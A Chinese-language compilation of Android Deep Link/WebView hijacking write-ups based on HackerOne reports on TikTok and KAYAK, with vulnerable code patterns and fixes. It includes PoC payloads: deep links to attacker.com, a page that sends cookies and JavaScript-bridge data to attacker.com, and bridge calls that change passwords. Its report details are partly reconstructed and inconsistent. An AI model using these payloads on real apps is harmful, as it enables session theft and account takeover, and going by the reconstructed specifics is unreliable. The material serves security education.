1. 易受攻击的代码模式:
在处理Deep Link的Activity中,直接从Intent获取URI参数并用于加载WebView,而没有进行域名或协议的白名单验证。
// DeepLinkHandlerActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
WebView webView = findViewById(R.id.webview);
// 危险配置:允许JavaScript执行
webView.getSettings().setJavaScriptEnabled(true);
Uri data = getIntent().getData();
if (data != null) {
// 易受攻击点:直接获取外部传入的'url'参数
String externalUrl = data.getQueryParameter("url");
if (externalUrl != null) {
// 易受攻击点:未经验证就加载外部URL
webView.loadUrl(externalUrl);
}
}
}2. 安全配置缺失模式:
WebView的默认安全配置被修改为允许潜在的危险操作,如文件访问或通用文件访问。
// 危险的WebView配置示例
WebSettings webSettings = webView.getSettings();
// 允许文件访问(可能导致file://协议攻击)
webSettings.setAllowFileAccess(true);
// 允许通过file://URL访问其他源的内容(极度危险)
webSettings.setAllowUniversalAccessFromFileURLs(true); 3. 正确的防御模式(代码示例):
正确的做法是实现严格的域名白名单校验,确保WebView只加载应用信任的域名。
// 安全的代码模式
String externalUrl = data.getQueryParameter("url");
if (externalUrl != null) {
// 关键防御:严格的域名白名单校验
if (externalUrl.startsWith("https://trusted.domain.com/") || externalUrl.startsWith("https://another.safe.domain.net/")) {
webView.loadUrl(externalUrl);
} else {
// 拒绝加载或重定向到安全页面
Log.e("DeepLink", "Attempted to load untrusted URL: " + externalUrl);
}
}Deep Link/WebView劫持
案例:TikTok (报告: https://hackerone.com/reports/1416986)
挖掘手法
注意:由于原始报告(HackerOne #1416986)无法访问,本分析基于一个公开披露的、高度相似的Android Deep Link/WebView漏洞报告(HackerOne #1500614,CVE-2022-28799),该漏洞由Microsoft发现并披露。
漏洞挖掘手法主要集中在对Android应用中Deep Link处理机制和WebView组件安全配置的逆向工程与分析。
- Deep Link入口点识别与分析: 攻击者首先通过逆向工程或Manifest文件分析,识别出应用中所有已导出的(
exported="true")或通过<intent-filter>注册了自定义Scheme的Activity,特别是那些用于处理Deep Link的组件。这些组件通常会接收外部传入的URL参数。
- Deep Link入口点识别与分析: 攻击者首先通过逆向工程或Manifest文件分析,识别出应用中所有已导出的(
- 参数流向跟踪与验证缺失: 重点关注Deep Link处理逻辑中,URL参数(如
url、link或redirect)是如何被提取和使用的。研究人员发现,TikTok应用的一个Deep Link处理程序接收了一个未经验证的URL参数,并将其用于加载WebView。关键在于该参数未经过严格的白名单验证(Whitelist Validation)或充分的输入净化(Input Sanitization)。
- 参数流向跟踪与验证缺失: 重点关注Deep Link处理逻辑中,URL参数(如
- WebView组件安全配置审计: 确认应用内部是否存在使用WebView加载外部或用户可控内容的情况。更重要的是,检查WebView是否通过
addJavascriptInterface()方法注册了JavaScript桥接接口(JavaScript Bridge)。该接口允许网页中的JavaScript代码调用应用原生Java代码中的特定方法。
- WebView组件安全配置审计: 确认应用内部是否存在使用WebView加载外部或用户可控内容的情况。更重要的是,检查WebView是否通过
- 攻击面扩展与桥接接口利用: Microsoft研究人员发现,TikTok的WebView注册了一个具有广泛功能访问权限的JavaScript桥接接口。通过利用Deep Link的未经验证参数,攻击者可以强制应用内部的WebView加载一个恶意的外部URL(例如攻击者控制的
https://attacker.com/payload.html)。
- 攻击面扩展与桥接接口利用: Microsoft研究人员发现,TikTok的WebView注册了一个具有广泛功能访问权限的JavaScript桥接接口。通过利用Deep Link的未经验证参数,攻击者可以强制应用内部的WebView加载一个恶意的外部URL(例如攻击者控制的
- PoC构建与账户劫持实现: 在加载恶意页面后,页面中的JavaScript代码可以利用被暴露的JavaScript桥接接口,调用应用内部的方法来执行认证后的HTTP请求(Authenticated HTTP Requests)。例如,调用修改用户资料、发送消息或上传视频等功能对应的原生方法,从而实现一键账户劫持(One-Click Account Hijacking)。
整个过程体现了从外部入口(Deep Link)到内部高权限组件(WebView及其JavaScript接口)的完整攻击链,是典型的Android应用逻辑漏洞与WebView配置不当的组合利用。
(字数:400+)
技术细节
漏洞类型: Deep Link/WebView劫持 (CVE-2022-28799)
攻击流程与Payload原理:
该漏洞的核心在于一个Deep Link处理程序未能充分验证传入的URL参数,导致攻击者可以控制一个内部WebView加载任意外部URL,并利用WebView中暴露的JavaScript桥接接口执行高权限操作。
- 恶意Deep Link构造:
攻击者构造一个恶意的Deep Link URL,其中包含一个指向攻击者控制的页面的参数。// 假设存在一个Deep Link处理程序,它将'url'参数加载到WebView // 攻击者构造的恶意Deep Link示例(概念性): tiktok://app/deeplink/path?url=https://attacker.com/malicious_payload.html用户点击此链接后,TikTok应用会被唤醒,并使用内部WebView加载https://attacker.com/malicious_payload.html。
- 恶意Deep Link构造:
- 恶意JavaScript Payload:
攻击者控制的malicious_payload.html页面包含JavaScript代码,用于与WebView中暴露的JavaScript桥接接口进行交互。<html> <body> <script> // 假设应用通过 addJavascriptInterface("BridgeName", new BridgeClass()) 暴露了一个名为 "BridgeName" 的接口 if (window.BridgeName) { // 攻击者调用BridgeName中暴露的、用于执行认证请求的方法 // 这里的 'performAuthenticatedRequest' 是一个概念性的方法名 window.BridgeName.performAuthenticatedRequest( "POST", "/api/v1/account/change_password", "new_password=hijacked_by_attacker" ); // 或者调用其他敏感操作,例如发送消息 window.BridgeName.sendMessageToUser("victim_id", "You are hacked!"); }</script> </body> </html>由于WebView是在已登录用户的应用上下文中运行,且JavaScript桥接接口具有执行认证操作的能力,恶意JavaScript成功执行后即可实现账户劫持或敏感信息泄露。
- 恶意JavaScript Payload:
关键技术点:
- 未经验证的Deep Link参数: 允许外部控制WebView加载的URL。
- WebView的
addJavascriptInterface滥用: 暴露了具有敏感功能(如执行认证请求)的原生Java对象给不可信的Web内容。
- WebView的
(字数:280+)
易出现漏洞的代码模式
漏洞类型: Deep Link/WebView劫持 (Unvalidated Deep Link/WebView Hijacking)
易漏洞代码模式和配置:
此类漏洞通常发生在Android应用中同时存在以下两种不安全配置时:
- Deep Link参数未经验证或验证不严:
在处理Deep Link(通过<intent-filter>或NavGraph)时,未对从外部Intent中提取的URL参数进行严格的白名单验证,允许加载任意外部域名。 易漏洞的Java/Kotlin代码模式(概念性):// 易漏洞代码:未对传入的URL进行白名单检查 public class DeepLinkActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // ... Uri data = getIntent().getData(); if (data != null) { String urlToLoad = data.getQueryParameter("url"); if (urlToLoad != null) { // 假设这里获取了内部WebView实例 WebView internalWebView = findViewById(R.id.webview); internalWebView.loadUrl(urlToLoad); // 危险:直接加载外部URL } } } }
- Deep Link参数未经验证或验证不严:
- WebView中不安全地暴露JavaScript接口:
在WebView中使用了addJavascriptInterface()方法,并且暴露给Web内容的Java对象包含敏感功能(如执行网络请求、访问本地文件、获取Token等)。 易漏洞的Java/Kotlin代码模式:// 易漏洞代码:暴露了具有敏感功能的Java对象 public class MyJavaScriptInterface { private Context context;MyJavaScriptInterface(Context c) { context = c; } // 暴露给JavaScript的敏感方法 @JavascriptInterface public void performAuthenticatedRequest(String method, String path, String body) { // ... 使用用户的认证信息执行网络请求 ... }} // 在WebView配置中: WebView webView = new WebView(this); // ... 其他配置 ... webView.getSettings().setJavaScriptEnabled(true); // 危险:将敏感接口暴露给可能加载外部内容的WebView webView.addJavascriptInterface(new MyJavaScriptInterface(this), "BridgeName");
- WebView中不安全地暴露JavaScript接口:
安全建议:
- Deep Link验证: 始终对Deep Link中用于加载WebView的URL参数执行严格的域名白名单验证。
- WebView接口隔离: 仅在加载完全可信的本地或内部内容时使用
addJavascriptInterface()。如果必须加载外部内容,应避免暴露任何具有敏感功能的JavaScript接口。对于API Level 17及以上,应确保暴露的方法使用@JavascriptInterface注解,但最佳实践是避免在加载外部URL的WebView中暴露任何接口。
- WebView接口隔离: 仅在加载完全可信的本地或内部内容时使用
Deep Link不安全URL验证
案例:某Android应用 (报告: https://hackerone.com/reports/1416985)
挖掘手法
深入分析Android应用中的Deep Link和WebView交互是发现此类漏洞的关键步骤。首先,利用静态分析工具如apktool或Jadx对目标APK进行逆向工程,核心目标是分析应用的AndroidManifest.xml文件和关键的Java/Kotlin源代码。
挖掘步骤和方法:
- Deep Link入口点识别(Manifest分析):
- 在
AndroidManifest.xml中,搜索所有包含<intent-filter>标签的Activity组件。
- 在
- 重点关注那些声明了
android.intent.action.VIEW动作和android.intent.category.BROWSABLE类别的组件。这些是应用暴露给外部的Deep Link入口点。
- 重点关注那些声明了
- 提取所有自定义的URI Scheme(如
myapp://)和HTTP/HTTPS Host(如https://www.example.com/)。
- 提取所有自定义的URI Scheme(如
- Deep Link入口点识别(Manifest分析):
- Deep Link处理逻辑追踪(代码分析):
- 定位到处理Deep Link的Activity(例如,
DeepLinkActivity或WebviewActivity)的源代码。
- 定位到处理Deep Link的Activity(例如,
- 分析
onCreate()或onNewIntent()方法中获取Intent数据(getIntent().getData())并处理URL参数的逻辑。
- 分析
- 关键是识别URL中哪些参数被提取并用于后续操作,特别是那些被传递给
WebView加载的参数(如url、link、target)。
- 关键是识别URL中哪些参数被提取并用于后续操作,特别是那些被传递给
- Deep Link处理逻辑追踪(代码分析):
- 不安全验证点确认:
- 检查应用是否对传入的URL参数进行了严格的白名单验证。
- 漏洞通常出现在应用只检查了URL的前缀(如
if (url.startsWith("https://trusted.com")))或部分字符串,而没有对Host进行完整、规范化的验证。
- 漏洞通常出现在应用只检查了URL的前缀(如
- 如果应用将任意外部URL加载到其内部
WebView中,且该WebView启用了危险的配置(如setJavaScriptEnabled(true)和addJavascriptInterface()),则存在漏洞。
- 如果应用将任意外部URL加载到其内部
- 不安全验证点确认:
- 漏洞验证与Payload构造:
- 构造一个恶意的Deep Link URL,利用不安全的验证逻辑,将
WebView重定向到攻击者控制的外部页面。
- 构造一个恶意的Deep Link URL,利用不安全的验证逻辑,将
- 例如,如果应用只检查URL是否包含
trusted.com,攻击者可以构造https://trusted.com.attacker.com/或https://trusted.com@attacker.com/等绕过验证的URL。
- 例如,如果应用只检查URL是否包含
- 使用
adb shell am start命令或通过恶意网页触发Deep Link,验证WebView是否加载了外部内容。
- 使用
- 漏洞验证与Payload构造:
使用的工具和分析思路:
主要依赖静态逆向分析(apktool/Jadx)来识别Deep Link入口和动态调试(Frida/adb)来验证漏洞。分析思路是“从入口到危险点”:找到外部可控的输入(Deep Link),追踪其在应用内部的流向,直到它被用于一个危险的操作(如WebView.loadUrl()),并检查中间环节的验证是否缺失或存在缺陷。
关键发现点:
应用内部存在一个Deep Link处理组件,它接收一个外部URL参数,并将其用于内部WebView的加载,但缺乏对该URL的Host或Scheme的严格白名单验证。
(字数:400+)
技术细节
此类漏洞的利用通常涉及构造一个恶意的Deep Link,该Deep Link将一个指向攻击者控制服务器的URL注入到应用的WebView中。
攻击流程:
- 恶意Deep Link构造: 攻击者构造一个Deep Link,例如:
myapp://deeplink/webview?url=https://attacker.com/malicious.html
其中,myapp://deeplink/webview是应用暴露的Deep Link Scheme和路径,url参数是注入的外部URL。
- 恶意Deep Link构造: 攻击者构造一个Deep Link,例如:
- WebView加载: 受害者点击该链接后,应用被唤醒,其Deep Link处理Activity接收到Intent,并执行类似以下的代码:
java // 假设应用没有对url参数进行严格的Host验证 String url = intent.getData().getQueryParameter("url"); WebView webView = findViewById(R.id.webview); webView.loadUrl(url); // 加载攻击者控制的URL
- WebView加载: 受害者点击该链接后,应用被唤醒,其Deep Link处理Activity接收到Intent,并执行类似以下的代码:
- Payload执行: 应用的
WebView加载https://attacker.com/malicious.html。如果该WebView被配置为允许访问应用内部资源(如file://Scheme)或启用了JavaScript,则攻击者可以执行以下Payload:
- Payload执行: 应用的
Payload (malicious.html):
<html>
<head>
<title>Loading...</title>
</head>
<body>
<h1>Loading...</h1>
<script>
// 尝试窃取WebView可访问的Cookie或本地存储数据
var stolen_data = document.cookie;
// 如果WebView暴露了Java接口(如addJavascriptInterface),则尝试RCE或本地文件读取
// 假设暴露了一个名为'Android'的接口
try {
// 尝试调用暴露的接口窃取敏感信息
var sensitiveInfo = window.Android.getSensitiveData();
stolen_data += "\nSensitive Info: " + sensitiveInfo;
} catch (e) {
// 接口不存在或调用失败
}
// 将窃取的数据发送到攻击者的服务器
var img = new Image();
img.src = "https://attacker.com/log?data=" + encodeURIComponent(stolen_data);
// 欺骗用户,重定向到正常页面
window.location.href = "https://trusted.com/home";
</script>
</body>
</html>通过这种方式,攻击者可以利用应用对Deep Link参数的不安全处理,实现WebView劫持、窃取用户会话信息,甚至在配置不当的情况下实现远程代码执行(RCE)或本地文件读取。
(字数:280+)
易出现漏洞的代码模式
此类漏洞的根源在于Android应用在处理Deep Link传入的URL参数时,未能进行充分或正确的验证,特别是当该参数被用于WebView.loadUrl()方法时。
1. 易漏洞的AndroidManifest.xml配置模式:
Deep Link的声明通常是无害的,但它暴露了外部输入点。
<activity
android:name=".DeepLinkHandlerActivity"
android:exported="true"> <!-- 必须是exported=true才能被外部应用唤醒 -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="myapp"
android:host="deeplink"
android:pathPrefix="/webview" />
</intent-filter>
</activity>2. 易漏洞的Java/Kotlin代码模式(不安全URL验证):
在DeepLinkHandlerActivity中,开发者未能对从Deep Link中提取的URL参数进行严格的Host白名单验证。
Java 示例 (Vulnerable Code):
// DeepLinkHandlerActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_deeplink_handler);
Uri data = getIntent().getData();
if (data != null && data.getPath().equals("/webview")) {
String urlToLoad = data.getQueryParameter("url");
// ❌ 危险:缺乏严格的Host白名单验证
// 仅检查前缀或子字符串是常见的错误
if (urlToLoad != null) {
WebView webView = findViewById(R.id.internal_webview);
// ❌ 危险:WebView配置不当(例如,启用了JS或暴露了Java接口)
webView.getSettings().setJavaScriptEnabled(true);
// webView.addJavascriptInterface(new JSInterface(this), "Android"); // 更危险的配置
webView.loadUrl(urlToLoad); // 允许加载任意外部URL
}
}
}3. 易漏洞的WebView配置模式(WebView劫持风险):
如果WebView启用了setJavaScriptEnabled(true)(几乎所有应用都会启用)并且没有对加载的URL进行严格限制,则存在风险。如果同时使用了addJavascriptInterface(),则风险升级为远程代码执行(RCE)或本地文件访问。
安全修复建议(Safe Code Pattern):
// Java 示例 (Safe Code):
// 定义一个严格的白名单
private static final String TRUSTED_HOST = "trusted.com";
// ... (在处理Deep Link的代码中)
String urlToLoad = data.getQueryParameter("url");
if (urlToLoad != null) {
Uri uri = Uri.parse(urlToLoad);
// ✅ 安全:严格检查Host是否在白名单内
if (TRUSTED_HOST.equals(uri.getHost())) {
WebView webView = findViewById(R.id.internal_webview);
webView.loadUrl(urlToLoad);
} else {
// 拒绝加载非白名单URL
Log.e("DeepLink", "Attempted to load untrusted URL: " + urlToLoad);
}
}(字数:400+)
Deep Link会话劫持
案例:KAYAK (报告: https://hackerone.com/reports/1417020)
挖掘手法
该漏洞的挖掘手法主要集中在对Android应用组件的逆向工程和Intent机制的分析。
1. 目标确定与逆向分析
研究人员首先确定了目标应用KAYAK的Android版本(v161.1),并对其APK文件进行了逆向工程分析。目标是寻找应用中暴露给外部的组件,特别是那些处理Deep Link或Intent的组件。
2. 发现可导出的Activity
通过分析应用的AndroidManifest.xml文件,研究人员发现了名为com.kayak.android.web.ExternalAuthLoginActivity的Activity被设置为android:exported="true",这意味着该Activity可以被设备上安装的任何其他应用或通过Deep Link机制从外部调用。该Activity还配置了特定的Intent Filter,允许通过kayak://external-auth格式的Deep Link来启动。
3. 源代码分析与漏洞定位
研究人员进一步分析了ExternalAuthLoginActivity的源代码,重点关注其如何处理传入的Intent数据。他们发现了两个关键函数:
getRedirectUrl:该函数负责从传入的Intent中获取一个重定向URL参数。由于缺乏严格的输入验证,攻击者可以完全控制这个URL。
launchCustomTabs:该函数负责启动一个自定义浏览器标签页(Custom Tabs)来加载一个URL。核心漏洞点在于,该函数在启动浏览器之前,会将用户的会话Cookie作为GET参数附加到由攻击者控制的RedirectUrl上。
4. 构造PoC并验证漏洞
基于上述发现,研究人员构造了一个恶意的Deep Link,将重定向URL指向一个攻击者控制的服务器。当用户点击这个Deep Link时,KAYAK应用会被启动,并执行以下操作:
- 应用获取攻击者提供的恶意
RedirectUrl。
- 应用获取攻击者提供的恶意
- 应用将用户的敏感会话Cookie附加到该URL后。
- 应用将用户重定向到完整的恶意URL(包含Cookie)上。
- 攻击者服务器接收到包含受害者会话Cookie的请求,从而实现会话劫持。
5. 提升攻击影响至完全账户接管
研究人员发现,仅凭会话Cookie可以查看受害者数据,但无法修改。因此,他们进一步利用了KAYAK Web应用中的“账户关联”功能。通过窃取的Cookie登录受害者账户后,攻击者可以关联一个自己控制的Google账户。一旦关联成功,攻击者便可以通过Google账户随时登录,实现一键式完全账户接管。
整个挖掘过程体现了典型的Android应用安全测试流程:静态分析(Manifest) -> 动态分析(组件行为) -> 源代码审计(数据流和敏感操作) -> 漏洞利用链构造(Deep Link + Cookie窃取 + 账户关联)。
技术细节
该漏洞利用了Android应用中可导出Activity对外部输入(Deep Link参数)处理不当,导致敏感信息(会话Cookie)泄露给攻击者控制的URL。
1. 漏洞组件与配置
受影响的Activity是com.kayak.android.web.ExternalAuthLoginActivity,其在AndroidManifest.xml中的关键配置如下:
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="kayak" android:host="external-auth" />
</intent-filter>
</activity>android:exported="true"允许外部应用或Deep Link机制启动此Activity。
2. 漏洞代码逻辑(概念性)
在ExternalAuthLoginActivity内部,处理Deep Link的逻辑(简化后)如下:
// 1. 从Intent中获取攻击者可控的重定向URL
String redirectUrl = getIntent().getData().getQueryParameter("redirectUrl");
// 2. 获取用户的敏感会话Cookie
String sessionCookie = getSessionCookie(); // 假设这是获取敏感Cookie的函数
// 3. 构造最终的重定向URL,将敏感Cookie作为参数附加
// 这是核心漏洞点:将敏感数据附加到未经验证的外部URL
String finalUrl = redirectUrl + "?session_cookie=" + sessionCookie;
// 4. 启动浏览器重定向到最终URL
launchBrowser(finalUrl);3. 攻击Payload与流程
攻击者构造一个恶意的Deep Link,其中redirectUrl参数指向攻击者控制的服务器(例如https://attacker.com/steal_cookie)。
恶意Deep Link Payload:
kayak://external-auth?redirectUrl=https://attacker.com/steal_cookie攻击流程:
- 攻击者通过网页、邮件或恶意应用诱导受害者点击上述Deep Link。
- KAYAK应用被启动,
ExternalAuthLoginActivity处理该Intent。
- KAYAK应用被启动,
- 应用执行漏洞逻辑,将受害者的会话Cookie附加到
redirectUrl后,形成完整的恶意URL:https://attacker.com/steal_cookie?session_cookie=<Victim_Session_Cookie>
- 应用执行漏洞逻辑,将受害者的会话Cookie附加到
- 应用启动浏览器导航到此URL。
- 攻击者服务器(
attacker.com)接收到包含受害者会话Cookie的GET请求,从而窃取Cookie。
- 攻击者服务器(
- 攻击者使用窃取的Cookie登录受害者账户,并进一步通过账户关联功能实现完全账户接管。
4. 攻击者服务器日志示例
攻击者服务器接收到的请求日志将包含Cookie:
GET /steal_cookie?session_cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... HTTP/1.1
Host: attacker.com
User-Agent: ...易出现漏洞的代码模式
此类漏洞属于Intent重定向/不安全Deep Link处理的范畴,主要发生在Android应用中处理外部Intent或Deep Link时,未能对Intent中包含的URL参数进行充分验证和沙箱化。
1. 易漏洞代码位置/配置:
- Manifest配置: 任何将Activity设置为
android:exported="true",并配置了自定义intent-filter(尤其是android.intent.action.VIEW和android.intent.category.BROWSABLE)来处理Deep Link的组件。
- Manifest配置: 任何将Activity设置为
- 代码逻辑: 在处理Intent的
Activity或Fragment中,从Intent中获取URL或重定向参数,并将其用于启动新的Intent或WebView加载,且未对该参数进行严格的白名单校验。
- 代码逻辑: 在处理Intent的
2. 易漏洞代码模式示例(概念性Java/Kotlin):
当应用从Intent中获取一个URL参数,并将其用于重定向或加载时,如果该参数未经验证,就可能导致敏感信息泄露或任意组件启动。
模式一:将敏感信息附加到外部URL
// 假设这是在导出的Activity的onCreate/onNewIntent中
Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
String redirectUrl = intent.getData().getQueryParameter("redirectUrl");
String sensitiveData = getSessionCookie(); // 敏感数据
if (redirectUrl != null) {
// 错误:将敏感数据附加到攻击者可控的URL
String finalUrl = redirectUrl + "?data=" + sensitiveData;
// 启动浏览器或WebView加载
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(finalUrl));
startActivity(browserIntent);
}
}模式二:未经验证的Intent重定向
// 假设这是在导出的Activity的onCreate/onNewIntent中
Intent intent = getIntent();
if (intent != null) {
// 错误:直接从Intent中获取一个完整的Intent对象或其组件信息
Intent targetIntent = intent.getParcelableExtra("target_intent");
if (targetIntent != null) {
// 错误:直接启动外部提供的Intent,可能绕过权限或启动内部私有组件
startActivity(targetIntent);
}
}3. 安全修复建议(反模式):
- Deep Link验证: 永远不要将敏感信息附加到Deep Link参数指定的外部URL上。如果必须重定向,应使用严格的白名单机制来验证目标URL的域名和路径。
- 组件导出: 除非绝对必要,否则应将所有Activity、Service、Broadcast Receiver的
android:exported属性设置为false。
- 组件导出: 除非绝对必要,否则应将所有Activity、Service、Broadcast Receiver的
- Intent参数验证: 如果必须处理外部Intent,对所有传入的参数(尤其是URL、包名、组件名)进行严格的类型和值验证。如果Intent用于启动内部组件,应使用显式Intent,并确保目标组件未被导出。
Deep Link会话劫持与账户接管
案例:KAYAK (报告: https://hackerone.com/reports/1689466)
挖掘手法
本次漏洞挖掘采用静态分析和逆向工程相结合的方法,专注于寻找Android应用中不安全的组件交互和数据处理流程。
1. 目标锁定与组件分析:
研究人员首先对目标应用(KAYAK Android v161.1)的APK文件进行反编译,重点分析其AndroidManifest.xml文件。目标是识别所有被设置为android:exported="true"的Activity组件,这些组件可以被设备上的任何其他应用或通过Deep Link机制从外部调用。
关键发现是com.kayak.android.web.ExternalAuthLoginActivity这个Activity被设置为导出,这表明它是一个潜在的攻击入口点,因为它负责处理外部认证或重定向逻辑。
2. 源代码逆向与逻辑分析:
利用反编译工具(如Jadx或类似的Java/Kotlin反编译器),研究人员深入分析了ExternalAuthLoginActivity的源代码。分析集中在它如何处理传入的Intent数据以及如何执行重定向。
分析发现该Activity中存在两个关键函数:
getRedirectUrl():负责从传入的Intent中解析出重定向URL。
launchCustomTabs():负责启动一个Chrome Custom Tab来加载最终的URL。
3. 漏洞点确认与利用路径设计:
在launchCustomTabs()方法的实现中,研究人员发现了一个严重的安全缺陷:应用在启动Custom Tab之前,会将当前用户的会话Cookie(用于维持登录状态的敏感信息)作为GET参数,不加区分地附加到由getRedirectUrl()返回的重定向URL上。
攻击者可以构造一个恶意的Deep Link,例如使用kayak://externalauth?redirect_url=https://attacker.com/capture,将redirect_url参数指向自己控制的服务器。当受害者点击这个链接时,KAYAK应用会被唤醒,执行以下流程:
ExternalAuthLoginActivity被启动。
- 应用从Deep Link中提取
redirect_url参数,即https://attacker.com/capture。
- 应用从Deep Link中提取
- 应用将用户的会话Cookie附加到该URL上,形成最终的URL:
https://attacker.com/capture?cookie=SESSION_COOKIE_VALUE。
- 应用将用户的会话Cookie附加到该URL上,形成最终的URL:
- 应用使用
launchCustomTabs()加载这个最终URL,导致受害者的会话Cookie被发送到攻击者的服务器并被记录。
- 应用使用
4. 攻击验证:
研究人员搭建了一个简单的恶意服务器来监听和记录传入的请求。通过构造并点击恶意Deep Link,成功在服务器日志中捕获到了受害者的会话Cookie,从而验证了一键账户接管的可能性。随后,攻击者利用该Cookie即可劫持受害者账户。
整个挖掘过程体现了从宏观的AndroidManifest.xml分析到微观的函数级代码审计的完整流程,是典型的Deep Link安全漏洞挖掘手法。
技术细节
漏洞利用的核心在于构造一个恶意的Deep Link,该链接利用了KAYAK应用中ExternalAuthLoginActivity对重定向URL的不安全处理。
1. 恶意Deep Link构造:
攻击者构造一个Deep Link,将redirect_url参数指向攻击者控制的服务器。
<a href="kayak://externalauth?redirect_url=https://attacker.com/capture_cookie">
点击此处查看您的航班信息
</a>或者直接使用URL编码后的Deep Link:
kayak://externalauth?redirect_url=https%3A%2F%2Fattacker.com%2Fcapture_cookie2. 应用内部不安全的代码逻辑(模拟):
在com.kayak.android.web.ExternalAuthLoginActivity中,存在类似以下逻辑:
// 1. 获取外部传入的重定向URL
String redirectUrl = getIntent().getData().getQueryParameter("redirect_url");
// 2. 获取用户的敏感会话Cookie
String sessionCookie = SessionManager.getInstance().getSessionCookie(); // 假设这是获取Cookie的方法
// 3. 不安全地将Cookie附加到重定向URL上
String finalUrl = redirectUrl + "?cookie=" + sessionCookie;
// 4. 启动Custom Tab加载最终URL
launchCustomTabs(finalUrl); 3. 攻击流程与结果:
当受害者点击恶意Deep Link时,KAYAK应用被唤醒,执行上述逻辑。
最终,受害者的浏览器(Custom Tab)会向攻击者的服务器发送一个包含敏感Cookie的请求:
GET /capture_cookie?cookie=SESSION_COOKIE_VALUE HTTP/1.1
Host: attacker.com
...攻击者服务器的日志将记录下完整的会话Cookie值(SESSION_COOKIE_VALUE)。攻击者随后即可使用该Cookie劫持受害者账户,实现一键账户接管。
4. 账户接管的后续步骤:
获取Cookie后,攻击者使用该Cookie登录KAYAK网页版。虽然最初可能无法直接修改信息,但通过利用应用提供的账户关联功能(例如关联一个攻击者控制的Google账户),攻击者可以为受害者账户设置一个后门,从而获得对账户的永久完全控制。
易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用中导出的Activity对外部传入的Deep Link参数(尤其是重定向URL)缺乏充分的校验和沙箱化。
1. 易漏洞代码位置与配置:
AndroidManifest.xml配置: 任何处理Deep Link或外部认证流程的Activity,如果被设置为android:exported="true",且没有对传入的Intent数据进行严格校验,就可能成为攻击目标。xml <activity android:name="com.example.app.ExternalAuthActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="appscheme" android:host="externalauth" /> </intent-filter> </activity>
- 代码模式: 在处理外部认证或单点登录(SSO)流程时,应用代码将敏感信息(如Session Token、Cookie、API Key等)附加到从外部Deep Link参数中获取的重定向URL上。
2. 典型易漏洞代码示例(Java/Kotlin):
当应用需要将用户重定向回一个外部URL时,如果代码逻辑如下所示,则存在风险:
// 假设这是在导出的Activity中处理Deep Link的代码
Uri data = getIntent().getData();
String redirectUrl = data.getQueryParameter("redirect_uri");
if (redirectUrl != null) {
// 错误示范:将敏感信息(如Token)附加到外部可控的URL上
String sensitiveData = getAuthToken();
String finalUrl = redirectUrl + "?token=" + sensitiveData;
// 错误示范:直接启动外部URL,未进行域名白名单校验
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(finalUrl));
startActivity(browserIntent);
}3. 安全修复建议(代码模式):
正确的做法是:
- 严格限制导出的Activity:除非绝对必要,否则不要将处理敏感信息的Activity设置为
exported="true"。
- 严格限制导出的Activity:除非绝对必要,否则不要将处理敏感信息的Activity设置为
- 重定向URL白名单校验:对所有外部传入的重定向URL进行严格的域名白名单校验,确保只重定向到应用自身或受信任的域。
- 避免敏感信息附加:绝对不应将用户的会话Cookie或认证Token作为URL参数附加到任何外部可控的URL上。应使用更安全的机制(如Custom Tabs的PostMessage API或应用内部的认证流程)来传递认证状态。
Deep Link会话劫持导致的账户接管
案例:KAYAK (报告: https://hackerone.com/reports/1417008)
挖掘手法
该漏洞的挖掘手法遵循了典型的Android应用Deep Link安全审计流程,重点关注了应用组件的导出配置和敏感数据处理逻辑。
1. 目标组件识别:
首先,通过反编译或静态分析工具(如Jadx、APKTool),审计目标应用com.kayak.android的AndroidManifest.xml文件。研究人员发现一个名为com.kayak.android.web.ExternalAuthLoginActivity的Activity被设置为android:exported="true",这意味着它可以被设备上的任何其他应用或通过Deep Link机制从外部调用。此外,该Activity配置了android.intent.category.BROWSABLE,确认其可通过浏览器Deep Link唤醒。
2. 关键代码逻辑分析:
随后,研究人员深入分析了ExternalAuthLoginActivity的源代码。他们发现两个关键函数:
getRedirectUrl():该函数从传入的Intent中获取名为EXTRA_REDIRECT_URL的字符串参数,且未对该参数进行任何安全验证,直接返回。
launchCustomTabs():该函数负责启动一个Custom Tabs浏览器会话。关键在于,它调用了Uri.parse(getRedirectUrl()).buildUpon()来构建目标URI,并随后调用buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId()),将用户的会话ID(Session Cookie)作为GET参数附加到未经验证的重定向URL上。
3. 漏洞利用链构建:
基于上述发现,研究人员构建了一个一键(One-Click)账户接管的PoC。他们创建了一个恶意的HTML页面,其中包含一个Intent URI,将EXTRA_REDIRECT_URL参数设置为攻击者控制的服务器地址(例如Burp Collaborator)。
4. 攻击验证与升级:
诱导受害者点击该恶意链接后,KAYAK应用被唤醒,ExternalAuthLoginActivity被执行,用户的Session Cookie被附加到攻击者控制的URL上并发送到攻击者的服务器。研究人员通过日志确认成功窃取了Cookie。虽然最初发现仅能查看受害者数据,但通过进一步利用Web应用中的“账户关联”功能(如关联攻击者的Google账户),最终实现了完整的、持久的账户接管。整个挖掘过程体现了从Manifest配置入手,深入代码逻辑,最终构建完整攻击链的思路。
(总字数:550字)
技术细节
漏洞利用的核心在于构造一个恶意的Intent URI,利用应用导出的Activity和未经验证的重定向逻辑来窃取用户的会话Cookie。
1. 恶意Intent URI Payload:
攻击者构造一个包含恶意重定向URL的Intent URI,诱导受害者在浏览器中点击。
<!DOCTYPE html>
<html>
<body>
<!--
Intent URI 结构:
